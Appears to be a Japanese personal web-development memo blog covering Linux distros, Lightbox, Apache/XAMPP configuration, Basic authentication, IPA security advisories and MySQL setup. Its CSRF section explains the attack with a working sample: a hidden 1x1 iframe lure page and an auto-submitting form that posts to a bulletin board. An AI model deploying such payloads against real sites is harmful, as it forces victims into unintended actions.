　　　　ハードディスク及びＵＳＢメモリへのインストールも可能
　　古いパソコンでも動作可能
　　　　２５６ＭＢ（５．Ｘ系）以上で動作する
　　　　WindowsＸＰ機であれば十分に動きます

		Puppy Ｌｉｎｕｘ（256MB）	Ｌｕｂｕｎｔｕ（384MB）	Ｕｂｕｎｔｕ（１GB）
	Ｗｅｂブラウザー	Ｏｐｅｒａ（ブラウザ）	Ｍｏｚｉｌｌａ Ｆｉｒｅｆｏｘ（ウェブ・ブラウザ）	Ｆｉｒｅｆｏｘ（ウェブ・ブラウザ）
	ワープロ	ＡｂｉＷｏｒｄ（ワープロ）	ＡｂｉＷｏｒｄ（ワープロ）	ＬｉｂｒｅOｆｆｉｃｅ Ｗｒｉｔｅｒ
	表計算	Ｇｎｕｍｅｒｉｃ（表計算）	Ｇｎｕｍｅｒｉｃ（表計算）	ＬｉｂｒｅOｆｆｉｃｅ Ｃａｌｃ
	プレゼンテーション	－	－	ＬｉｂｒｅOｆｆｉｃｅ Ｉｍｐｒｅｓｓ
	財務管理	ＨｏｍｅＢａｎｋ	－	－
	ファイル管理	ＲＯＸ-Ｆｉｌｅｒ（ファイル）	ＰＣＭａｎＦＭ（ファイルマネージャ）	－
	テキストエディター	Ｇｅａｎｙ（エディタ）	ＬｅａfＰａｄ	－
	付箋	－	ｘｐａｄ（エックスパッド）	－
	スケジュール管理	Ｏｓｍｏ（プラン）	－	－
	プロジェクト管理	Ｐｌａｎｎｎｅｒ	－	－
	インスタント　メッセージング	Ｐｉｄｇｉｎ（チャット）	Ｐｉｄｇｉｎ（インターネット・メッセンジャー）	Ｅｍｐａｔｈｙ（インスタント・メッセンジャー）
	メール	－	Ｓｙｌｐｈｅｅｄ	Ｔｈｕｎｄｅｒｂｉｒｄ（電子メールクライアント）
	ＢｉｔＴｏｒｒｅｎｔ クライアント	Ｐｃｔｏｒｒｅｎt	Ｔｒａｎｓｍｉｓｓｉｏｎ	－
	ビューアー	eＰＤＦＶiew	Ｅｖｉｎｃｅ（ドキュメント・ビューアー）	－
	スキャン	Xｓａｎｅ	Ｓｉｍｐｉｅ Ｓｃａｎ	－
	画像作成	mtＰａｉｎｔ（ペイント）inkscapeＬｉｆｅ（ドロー）	mtＰａｉｎｔ（graphic editor）	Ｓｈｏｔｗｅｌｌ Ｐｈｏｔｏ Ｍａｎａｇｅｒ
	音楽プレーヤー	Ｐｍｕｓｉｃ	Ａｕｄａｃｉｏｕｓ	Ｒｈｙｔｈｍｂｏｘ（ミュージックプレイヤー）
	動画再生	GNOME　MＰｌａｙｅｒ（再生）	GNOME　MＰｌａｙｅｒ（再生）	－
	ＣＤ／ＤＶＤ ライティング	Ｐｂｕｍ	Ｘｆｂｕｍ	Ｂｒａｓｅｒｏ（ディスク作成ツール）
	Ｗｅｂカメラ	－	ｇｕｖｃｖｉｅｗ	－
	端末	urxvt（端末）	－	－
	パッケージ管理	パピーパッケージ マネージャ	ＬｕｂｕｎｔｕソフトウェアセンターＳｙｎａｐｔｉｃ（パッケージマネージャ）	Ｕｂｕｎｔｕソフトウェアセンター
	単体パッケージ管理	－	GDebi Ｐａｃｋａｇｅ Ｉｎｓｔａｌｌｅｒ	－

画像やリンクなどをクリックして、ウィンドウ内で画像を拡大表示する
　　画面が遷移せず、同一ウィンドウ内に表示されるのが特徴
　　　　無駄なクリック作業が無くなる

　　（１）【Lightbox2】のダウンロード
　　　　このサイトからダウンロードする　http://lokeshdhakar.com/projects/lightbox2/
　　　　　　ダウンロード完了後に解凍する

　　（２）Ｊａｖａスクリプトを設定する
　　　　スクリプトファイルをＨＴＭＬに施す
　　　　(例題）ダウンロードした中から探し出す
　　　　＜script src=”../js/jquery-1.11.0.min.js” type=”text/javascript”＞＜/script＞
　　　　＜script src=”../js/lightbox.js” type=”text/javascript”＞＜/script＞

　　　　必要な場所に設置し、ＨＴＭＬで定義する
　　　　　　指定する順序はこのまま

　　（３）ＣＳＳファイルを設定する
　　　　(例題）ダウンロードした中から探し出す
　　　　ＣＳＳファイルに定義を追加する　【@import url(‘lightbox.css’);】

　　（３）表示したい画像の定義
　　　　(例題）
　　　　＜a href=”img/image-1.jpg” data-lightbox=”group” data-title=”１枚目”＞写真１＜/a＞
　　　　＜a href=”img/image-2.jpg” data-lightbox=”group” data-title=”２枚目”＞写真２＜/a＞

　　　　【data-lightbox】を使ってグループ定義を施す
　　　　　　各々異なるモノを設定すると・・・・・・１個、１個個別に拡大表示される
　　　　　　　　※今回は統一した（１個なら個別表示、複数個なら連続表示となる）
　　　　　　同じモノを設定すると同一グループと見なされて、クリックすると次々と画像が表示される

　　　　通常は小さな画像を先に表示し、クリックして拡大表示する
　　　　　　※今回は小さな画像を作成する手間を省き、文字をクリックさせて画像を表示させる
　　　　　　必要なら＜img src=”../img/thumb-image-1.jpg”＞を「写真１」の所に入れる

パラメータ渡しの方法として【Ｇｅｔ】と【Ｐｏｓｔ】がある
　　【Ｇｅｔ】はＵＲＬに直接パラメータを記述して渡す方法
　　　　外部にパラメータの内容が見られてしまう
　　　　書き換えられると予期せぬ動きになる（入力チエックで防止する）
　　【Ｐｏｓｔ】はデータ部に格納してＵＲＬに渡す方法
　　　　外部にはパラメータの内容が見えない

　　今回のＤＢ移設に伴って【Ｇｅｔ】から【Ｐｏｓｔ】に切り替える
　　(例題）
　　　　＜a href=”#” onclick=”document.form11.submit();” target=”_self”＞アンカー用テキスト＜/a＞
　　　　＜form action=”index.htm” method=”post” name=”form11″＞
　　　　＜input type=”hidden” name=”パラメータＩＤ” value=”パラメータ内容”＞＜/form＞

　　　　アンカー部分をクリックするとｐｏｓｔでパラメータが渡される
　　　　複数個指定する場合にはペアを崩さずに数を増やせばよい

ＨＰで使用しているカラー見本を掲載する
　　時々、カラーコードを忘れてしまうので、備忘録として残す

通常、ＨＰのコンテンツは【DocumentRoot】配下のディレクトリに設置する必要がある
　　テスト環境等において、コンテンツの数が多くなるとホルダーの管理が煩わしくなる
　　【alias】機能を使って【DocumentRoot】の配下に配置されているかのように見せかける
　　　　※テスト環境の前提として【XAMPP】を使っていることにする
　　　　※本番環境にも使用できるが、却って覚えておくことが面倒なので本番環境には適用しない

　　（１）【httpd.conf】を探し出す
　　　　【XAMPP】配下の　apache　→　conf　配下の【httpd.conf】を探し出す

　　（２）【httpd.conf】を修正する
　　　　【】を探し出し【alias】を指定する
　　　　　　例として、【 include “F:/httpd-alias.ini”】の行を追加する
　　　　　　【alias】指定が多数なので別ファイルにしてまとめて読み込ませた
　　　　　　　　※直接に下記の様な【alias】指定を行うのもＯＫ

　　（３）【akias】指定ファイルを作成する
　　　　【Alias /元のフォルダー “F:/先のホルダー”】を複数記述する
　　　　　　※本来はこの形式で【httpd.conf】内に指定する

WordPressの画像拡大を行うプラグインをインストールする
　　画像をクリックすると背景が暗くなり、画像を拡大して表示する

　　（１）プラグインの導入
　　　　管理者画面　→　プラグイン　→　新規追加
　　　　　　検索で【WP jQuery Lightbox】と入力し【プラグインの検索】ボタンをクリックする
　　　　　　「いますぐインストール」ボタンをクリック（サーバー更新のためパスワードが必要）
　　　　　　【WP jQuery Lightbox】の【プラグインを有効化】をクリック
　　　　　　これでインストール完了

　　（２）オプション設定（例）
　　　　チエックをＯＮにしたモノ（後で変更できる）
　　　　　　自動的に画像（イメージリンク）にLightbox効果を適応する
　　　　　　スクリーンサイズに合わせて画像を縮小
　　　　他はチエックを外した

パスワードを暗号化する
　　ＩＤと（入力）パスワードを指定して、（設定）パスワードを作成する
　　通常のApache配下の場合とXAMPP配下の場合と作成方法が違うので注意すること
　　　　※XAMPPはローカル環境で個別テスト用に使われることが多い
　　　　　　ローカル環境下で基本認証が必要だとは思わないのだが念のために

先ずＡｐａｃｈｅ配下の場合
　　（１）パスワード作成サイトにアクセスする
　　　　・以下のサイトにアクセスする
　　　　　　htaccess による認証用　パスワード暗号化ツール
　　　　　　暗号化サービス
　　　　　　他　　にもあるので適当なサイトを探す

　　（２）設定するパスワードを求める
　　　　・ＩＤと（入力）パスワードを指定して、（設定）パスワードを求める
　　　　　　（入力）パスワードと（設定）パスワードを使い分けること
　　　　・ＩＤと（設定）パスワードの組み合わせを【.htpasswd】に記述する

　　注意点（１）
　　　　ＩＤと（入力）パスワードはBasic認証画面で手入力する値
　　　　ＩＤと（設定）パスワードは【.htpasswd】に設定する値

　　注意点（２）
　　　　パスワードの入力がどうやってもエラーになる場合
　　　　　　試しに下記のhtpasswd.exeを使って【.htpasswd】ファイルを作成してみるとよい
　　　　　　結果的に上手くいった

次にＸＡＭＰＰ配下の場合（作成方法が違うので注意すること）
　　（１）Apache付属のhtpasswd.exeを使ってパスワードファイルを作成する
　　　　cd F:\xampp\apache\bin
　　　　htpasswd.exe -bc {パスワード生成先のパス} {ID} {パスワード}
　　　　　　(例）cdコマンドでhtpasswd.exeが在る場所を特定する
　　　　　　　　F:/xampp/apache/bin>htpasswd.exe -bc .htpasswd UUUUUUUU PPPPPPP
　　　　　　　　　　特にパスを指定しなければ
　　　　　　　　　　F:\xampp\apache\binの中に【.htpasswd】ファイルが作成される

【.htpasswd】が存在する場所（絶対パス）を求める
　　【.htaccess】に【.htpasswd】ファイルの位置を記述する際に必要となる

（１）ＰＨＰプログラムを作成する
　　・以下のような内容で用意する
　　　　<?php
　　　　$cwd = getcwd();
　　　　$reqfile = strrchr($_SERVER[“REQUEST_URI”], “/”);
　　　　$urilen = strlen($_SERVER[“REQUEST_URI”]);
　　　　$reqfilelen = strlen($reqfile);
　　　　$reqdir = substr( $_SERVER[“REQUEST_URI”], 0, $urilen – $reqfilelen );
　　　　$current = $_SERVER[“HTTP_HOST”] . $reqdir;
　　　　echo “<p?>カレントディレクトリの絶対パス：$cwd</p?>”;
　　　　echo “<p?>カレントURL： http://$current/</p?>”;
　　　　?>

（２）絶対パスを表示させる
　　・ファイル名を【xxxxxxxx.php】として保存する
　　・調べたいサーバーのフォルダ配下にアップロードして設置する
　　・手動で当該プログラムを起動する

【.htaccess】を使用してパスワードによるアクセス制限が可能になる
　　設置したディレクトリ以下の全てのファイルにパスワード保護が適用される
　　クライアント側でブラウザを閉じるなどの操作が行われない限り
　　　　一度認証に成功したパスワードをブラウザで保持し
　　　　アクセスの度にユーザーがいちいち入力する手間を省く

（１）保護したいディレクトリの確認
　　必ず、パスワードで保護したいディレクトリを決めておく
　　　　各ディレクトリ単位で保護することもできるが、パスワード入力が煩わしくなるので
　　　　一般的にはサイト単位で設置する

（２）【htaccess.txt】の設定と作成
　　　　便宜的に拡張子を【.txt】として作成してから、作業完了後に【.txt】を削除する
　　・メモ帳またはエディタで作成する
　　・以下のようなアクセス制限を記入する（例）
　　　　AuthType Basic
　　　　AuthName “Input your ID and Password”
　　　　AuthUserFile /絶対アドレスを指定する/.htpasswd
　　　　　　※絶対アドレスの求め方は「Basic認証（.htpasswdの場所）」を参照
　　　　require valid-user
　　・【htaccess.txt】の名前でファイルを保存する

（３）【htpasswd.txt】の設定と作成
　　・ログイン用のユーザー名とパスワードを決める
　　　　※パスワードの決め方は「Basic認証（パスワードの暗号化）」を参照
　　・メモ帳またはエディタで作成する
　　・以下のようなユーザー名とパスワードを記入する
　　　　ユーザ名１:パスワード
　　　　ユーザ名２:パスワード
　　　　ユーザ名３:パスワード
　　・【htpasswd.txt】の名前でファイルを保存する

（４）【htaccess.txt】と【htpasswd.txt】をアップロードする
　　転送先のディレクトリは
　　　　サイト全体を保護する場合はindex.htmlと同じディレクトリにアップロードする

（５）ファイル名の変更
　　アップロードした【htaccess.txt】と【htpasswd.txt】のファイル名を変更する
　　　　【.htaccess】と【.htpasswd】に変更する

８月６日（水）にＩＰＡより以下の注意喚起が行われた
　　夏休みにおける情報セキュリティに関する注意喚起

上記のサイトから
　　「システム管理を担当されている方」と「企業でパソコンを利用される方」をカット
　　「ご家庭でパソコンを利用される方」と「スマートフォン、タブレットを利用される方」を抜き出した

（１）家庭でパソコンを使用する方の対策
　　インターネットバンキング利用時の注意
　　　　・ウイルスに感染してしまったことが原因で、不正送金の被害に遭うケースが増えている
　　　　　　感染を防ぐために、ＯＳと各種ソフトウェアは常に最新の状態で使う
　　　　・金融機関が、第二認証情報（乱数表や合言葉など）の入力を利用者に求めることはない
　　　　　　入力を促す画面が表示された場合は、絶対に情報を入力しない
　　　　・通常の利用時と異なる入力の要求があった場合は、サービス提供元に電話（メール等）で確認する
　　　　　　表示されている内容でなく、契約時に使用した内容（電話、メール）を使用する

　　最新バージョンの利用や修正プログラムの適用
　　　　・使用しているパソコンのＯＳに修正プログラムを適用し、最新のバージョンに更新する
　　　　　　Windowsユーザーは「Microsoft Update」を利用する
　　　　・使用しているパソコンのアプリケーションソフトにも修正プログラムを適用する
　　　　　　セキュリティソフトのパターンファイルを常に最新の状態にする

　　ＵＳＢメモリ等の取り扱いの徹底
　　　　・所有者が不明もしくは自身が管理していない外部記憶媒体は自身のＰＣに接続しない
　　　　　　逆に自身が管理していないＰＣに自身の外部記憶媒体を接続しない

　　必要データのバックアップの推奨
　　　　・ＰＣが動かなくなってしまう場合に備え、必要なデータは外部記憶媒体等へバックアップする
　　　　　　ファイルやフォルダが暗号化され、元に戻せなくなる場合もある

　　情報取扱いルールの徹底
　　　　・Winny等の共有ソフトを使っているＰＣが暴露ウイルスに感染すると
　　　　　　ＰＣ内に保存してあるファイルがインターネット上に流出する
　　　　　　業務データを扱ったＰＣでWinny等のファイル共有ソフトを使うのは止める
　　　　　　家族と共用しているＰＣの場合、家族が使えば情報漏えいする可能性がある

　　ＳＮＳ利用上の注意
　　　　・ＳＮＳを悪用して個人情報を収集したり、ウイルスに感染させようとする
　　　　　　他人のページ等に書かれているＵＲＬを不用意にクリックしない
　　　　　　Twitterでは不用意に“短縮URL”をクリックしない
　　　　　　情報発信する場合は自身の情報公開の範囲を確認する

　　ウェブサイト利用時の注意
　　　　・ウェブサイト利用時の規約をよく読み、利用するかどうかを判断する
　　　　　　利用規約内に料金が明示されていれば、それ以上先に進まない

　　パスワード管理の徹底
　　　　・複数のインターネットサービスで同じＩＤやパスワードを使わない
　　　　　　異なるパスワードに変更する

（２）スマートフォン、タブレットを利用される方の対策
　　スマートフォン、タブレット使用ルールの徹底
　　　　・アプリには、内部の情報を窃取するものが存在する
　　　　　　個人利用の場合は、所属する組織の業務規程に従う

　　スマートフォン、タブレット使用時の注意
　　　　・不正アプリのインストールを防ぐためには
　　　　　　パソコンと同様に信頼できない場所からアプリをダウンロードしない
　　　　　　アプリのインストールする際には「パーミッション」の一覧には必ず目を通す
　　　　　　　　疑問に感じた場合には、アプリのインストールを中止する
　　　　・スマートフォンやタブレットを机などに置いたままでその場を離れない
　　　　　　パスワードロック機能を必ず有効にし、１分程度の短い時間でロックする

　　セキュリティアプリの導入
　　　　・偽のアプリをインストールしてウイルスの感染被害に遭う場合がある
　　　　　　Android ＯＳのスマートフォンやタブレットの利用者はセキュリティアプリを導入する

７月１０日（木）にＩＰＡより以下のお知らせがありました
　　組織の内部関係者の不正行為による情報漏えいを防止するため、セキュリティ対策の見直しを！

（１）内部不正を防止するための現状把握と対策の検討
　　ＩＰＡでは、内部不正による事故・事件の発生を防止するための環境整備に役立つよう
　　　　２０１３年３月に「組織における内部不正防止ガイドライン」を策定し、公開している

　　ガイドラインを効果的に活用するには
　　　　最初にチェックシートで対策の現状を把握し
　　　　次に、その結果を基に必要な対策項目を検討する
　　　　　　ＪＭＳＡ作成の「内部不正対策ソリューションガイド」を参考にする

（２）内部不正が発生する仕組み
　　不正行為は下記の３つの要素が全て揃った時に発生すると言われている
　　　　「動機・プレッシャー」
　　　　　　プレッシャー（業務量、ノルマ等）や処遇への不満など
　　　　「機会」
　　　　　　技術的環境や物理的環境及び組織のルールなど、不正行為の実行を可能にする環境
　　　　「正当化」
　　　　　　良心の呵責を乗り越える都合の良い解釈や他人への責任転嫁など

　　３つの要素の低減が内部不正を防止するために最も有効となる
　　　　組織が対処できるのは「動機・プレッシャー」と「機会」の低減である

（３）内部不正防止の対策例
　　・重要な情報であることを明確にし、適切なアクセス権限を付与すること
　　　　重要な情報であるか否かを明確にし、適切なアクセス制御を可能とすること
　　　　重要な情報に対するアクセス権限をもつ操作員を最小とすること
　　　　アクセス権限は定期的に見直すこと
　　・重要情報の持ち出し・可搬媒体等の持ち込みの監視
　　　　情報機器や記録媒体の管理を厳格にすること
　　　　可搬媒体の利用を制限し、管理者の承認と記録を取ること
　　・定期的な操作履歴の監視・監査
　　　　重要情報へのアクセス履歴、利用者の操作履歴等のログを記録すること
　　　　ログを定期的に監査し、異常な事象の発見に努めること

クロスサイトリクエストフォージェリ（Cross site request forgeries）
　　掲示板に意図しない書き込みをさせられる
　　オンラインショップで買い物をさせられる
　　ルーターや無線LAN等の情報機器の設定を勝手に変更される

　　概要
　　　　（１）攻撃者が誘導用のページを用意する
　　　　（２）誘導用のページを閲覧する
　　　　（３）攻撃用ページにリクエストが送信され、攻撃者の意図した操作が行われる

掲示板への書き込みサンプルを挙げておきます
　　誘導用のページとして用意する
　　　　<!DOCTYPE html>
　　　　<html lang=”ja”>
　　　　<head>
　　　　　　<title>誘導用のページ</title>
　　　　</head>
　　　　<body>
　　　　　　<p>ようこそいらっしゃいました。</p>
　　　　　　<iframe width=”1″ height=”1″ src=”attack.html”></iframe>
　　　　</body>
　　　　</html>

　　攻撃用のページとして用意する
　　　　<!DOCTYPE html>
　　　　<html lang=”ja”>
　　　　<head>
　　　　　　<title>攻撃用のページ</title>
　　　　</head>
　　　　<body onload=”document.attackform.submit();”>
　　　　　　<form name=”attackform” method=”post” action=”http://example.com/bbs/register.cgi”>
　　　　　　<input type=”hidden” name=”title” value=”攻撃者が指定した題名”>
　　　　　　<input type=”hidden” name=”article” value=”攻撃者が指定した本文”>
　　　　　　<input type=”submit” value=”送信”>
　　　　　　</form>
　　　　</body>
　　　　</html>

　　仕組みの説明
　　　　・最初にアクセスされた誘導用ページのインラインフレーム内で
　　　　　　攻撃用ページが呼び出される
　　　　　　縦1 ピクセル、横１ピクセルのインラインフレーム内で行われるため、被害者は気が付かない
　　　　・攻撃用ページのonload属性により、ページが読込まれるのと同時に
　　　　　　掲示板への書き込みフォームの送信ボタンが自動的に押される
　　　　・フォームで指定された文言で掲示板に書き込みが行われる

　　　　最初に誘導用ページにアクセスした人が意図しないうちに
　　　　　　意図しない内容で掲示板に書き込みされることになる

正しいキーポジション

 

権限は５つのレベルに分けられる
　　グローバル レベル（Ｇ）
　　　　全てのデータベースに適用される権限
　　　　mysql.user テーブルに格納される

　　データベース レベル（Ｄ）
　　　　特定のデータベース内の全てのオブジェクトに適用される権限
　　　　mysql.db と mysql.host テーブル内に格納される

　　テーブル レベル（Ｔ）
　　　　特定のテーブル内の全てのカラムに適用される権限
　　　　mysql.tables_priv テーブル内に格納される

　　カラム レベル（Ｃ）
　　　　特定テーブル内の単一カラムに適用される権限
　　　　mysql.columns_priv テーブル内に格納される

データ移行を行う
　　・環境の違いを吸収する
　　　　データについては下記の様な２段階を経てサーバーに移行される
　　　　　　第一段階：ＸＰからWin７へ
　　　　　　　　ＸＰのサポート終了に伴って、開発環境をWin７へ移す
　　　　　　　　同じWindowsだが、【an httpd】環境から【ＸＡＭＰＰ】環境へ移す
　　　　　　第二段階：Win７からUnixへアップロードする
　　　　　　　　Shift-JISからUTF8の世界へデータを移す

　　・MySQLのテーブルのネーミング問題
　　　　テーブル作成でトラブル
　　　　　　テーブル名の先頭１文字を大文字にしようとしてエラーとなる

　　　　　　Unix環境は大文字と小文字を厳密に区別して扱います
　　　　　　　　【my.ini】で【lower_case_table_nemes＝０】となっています
　　　　　　　　大文字と小文字を区別する指定です
　　　　　　windows環境は大文字も小文字も同じとして扱います
　　　　　　　　【my.ini】で【lower_case_table_nemes＝１】となっています
　　　　　　　　大文字だと小文字に変えてテーブル生成する指定です

　　　　　　上記の様に【ＸＡＭＰＰ】環境では、大文字で入力しても小文字でテーブルを生成しますので
　　　　　　　　unix環境だとテーブル名の操作で不整合が生じます、それで登録時にエラーにしている
　　　　　　　　windows環境（XAMPP）の【my.ini】で【lower_case_table_nemes＝２】と指定する
　　　　　　　　　これは、入力通りの文字でテーブルを生成する指定です
　　　　　　　　　　全て小文字にすれば解決するのですが、ソースの見た目を重視しました
　　　　　　　　　　MySQLの操作には気を遣い続けていこうと思います

　　・文字コードの問題
　　　　ＸＰ環境ではshift-jisで統一していました
　　　　　　unix環境ではutf8に統一しようと考えています

　　　　・ＤＢの内容をCSVにして移行する際にコード変換を掛けます
　　　　　　一度読み込んでから書き出す際に文字コードを指定する

　　・全角文字の問題
　　　　・ホルダー名とファイル名に全角文字コード（日本語）を使っていた
　　　　　　unix環境では使用できないと考えて、全件を【change】コマンドで半角文字に変換する
　　　　　　これはかなりの手作業量になりそう・・・・・・自動では変換不可能だから

ＭｙＳＱＬを修正（カスタマイズ）する
　　・【my.ini】の内容を確認する
　　　　【my.ini】の位置を確認する
　　　　　　（例）　C:\xampp\mysql\bin\my.ini

　　　　【my.ini】を修正する
　　　　　　使用する文字コードを設定する
　　　　　　　　(例）　[mysqld]
　　　　　　　　　　　　　…
　　　　　　　　　　　　　character-set-server = utf8
　　　　　　　　　　　　　skip-character-set-client-handshake
　　　　　　　　　　　　　…

　　・セキュリティの設定を強化する
　　　　インストール状態のままだとＤＢ使用に制限を設けていないことになっている
　　　　　　【http://localhost/xampp/】より【XAMPP for Windows】画面を表示する
　　　　　　左サイドメニューの【セキュリティ】をクリックする
　　　　　　　　ＭｙＳＱＬの【root】パスワードを設定する
　　　　　　　　ＸＡＭＰＰのディレクトリ制御（.htaccess）のユーザ名とパスワードを設定する

　　・ＤＢを使用するユーザを設定する
　　　　【XAMPP for Windows】画面の左サイドメニューの【PHPMyAdmin】をクリックする
　　　　　　ユーザ名は【root】、パスワードは上記で設定したモノを入力する

　　　　　　【ユーザ】タブ　→　「ユーザを追加する」をクリックする
　　　　　　「ユーザーを追加する」画面を確認する
　　　　　　　　ユーザ名、ホスト（ローカルを選択する）、パスワードを設定する
　　　　　　　　ユーザ専用データベースは「同名の・・・・・与える」を選択する
　　　　　　　　「追加」をクリックする

　　・ＤＢの動作を確認する
　　　　MySQLを再起動させてから確認する
　　　　　　コマンドプロンプトを起動し、【p:¥xampp¥mysql¥bin】を表示させる
　　　　　　コマンド【mysql -h localhost -u root -p】を入力する
　　　　　　　　パスワードを入力してMySQLの動作が確認できればＯＫ
　　　　　　コマンドプロンプトの【p:¥xampp¥mysql¥bin】で【mysql】コマンドを入力
　　　　　　　　【show variables like ‘char%’;】を入力し文字コードを確認できればＯＫ

*************************************************************************
以前に構築した際の資料を比較のため掲載しておきます
リンク先がNotFoundの可能性があります
*************************************************************************
ＭｙＳＱＬの導入について　　更新日：2007年04月03日
*************************************************************************
*************************************************************************

ＰＨＰを修正（カスタマイズ）する
　　・【php.ini】の内容を確認する
　　　　特別な処理を付け加えなくてもここまでの流れでＰＨＰが期待通りに動いている
　　　　　　【http://localhost/xampp/】より【phpinfo】関数を使って設定内容を確認する

　　・【php.ini】を修正する
　　　　上記【phpinfo】情報より【php.ini】の位置を確認する
　　　　　　（例）　C:\xampp\php\php.ini
　　　　既に設定されているので変更しない
　　　　　　マルチバイト（日本語）対応
　　　　　　　　（例）　extension=php_mbstring.dll
　　　　　　ＣＧＩの起動対応
　　　　　　　　（例）　cgi.force_redirect=1
　　　　　　入力文字のエスケープ対応
　　　　　　　　（例）　magic_quotes_gpc = Off
　　　　個別に日本語対応を順次行う
　　　　　　（例）　mbstring.language = Japanese
　　　　　　（例）　mbstring.internal_encoding = UTF-8
　　　　　　（例）　mbstring.http_input = pass
　　　　　　（例）　mbstring.http_output = pass
　　　　　　（例）　mbstring.encoding_translation = Off
　　　　　　（例）　mbstring.detect_order = UTF-8,SJIS,EUC-JP,JIS,ASCII
　　　　　　（例）　mbstring.substitute_character = none
　　　　　　（例）　mbstring.func_overload = 0
　　　　　　（例）　mbstring.strict_detection = Off

　　・【php.ini】以外を修正する
　　　　【.htaccess】の【AddType】を修正する
　　　　　　拡張子がHTMLでもphp文が動くように設定する
　　　　　　毎回拡張子の判別処理に時間を要することになるが、便利なので対応する
　　　　　　（例）　AddType application/x-httpd-php .htm .html

*************************************************************************
以前に構築した際の資料を比較のため掲載しておきます
リンク先がNotFoundの可能性があります
*************************************************************************
ＰＨＰの導入について　　更新日：2008年06月24日
*************************************************************************
*************************************************************************